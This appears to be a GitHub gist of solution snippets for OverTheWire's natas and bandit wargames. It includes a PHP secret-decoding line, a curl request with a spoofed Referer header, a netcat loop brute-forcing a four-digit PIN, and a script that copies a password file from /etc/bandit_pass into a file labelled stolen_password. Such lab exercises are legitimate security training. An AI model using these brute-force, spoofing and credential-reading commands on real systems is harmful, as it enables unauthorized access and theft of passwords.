Skip to content

Instantly share code, notes, and snippets.

View HFahlstedt's full-sized avatar

Håkan Fahlstedt HFahlstedt

View GitHub Profile
<?
print base64_decode(strrev(hex2bin("3d3d516343746d4d6d6c315669563362")));
?>
<?
$encodedSecret = "3d3d516343746d4d6d6c315669563362";
function encodeSecret($secret) {
return bin2hex(strrev(base64_encode($secret)));
}
if(array_key_exists("submit", $_POST)) {
if(encodeSecret($_POST['secret']) == $encodedSecret) {
<?
include "includes/secret.inc";
  if(array_key_exists("submit", $_POST)) {
  if($secret == $_POST['secret']) {
  print "Access granted. The password for natas7 is <censored>";
  } else {
  print "Wrong secret";
  }
}
curl -u natas4:<password for natas4> -H "Referer: http://natas5.natas.labs.overthewire.org/" natas4.natas.labs.overthewire.org
curl -u natas0:natas0 http://natas0.natas.labs.overthewire.org
seq -f "<password of bandit24> %04g" 9999 | nc localhost 30002
#!/bin/bash
cat /etc/bandit_pass/bandit24 > /tmp/stolen_password_from_bandit24/password.txt
echo <password for bandit20> | nc -l 12345
./bandit20-do cat /etc/bandit_pass/bandit20
./bandit20-do whoami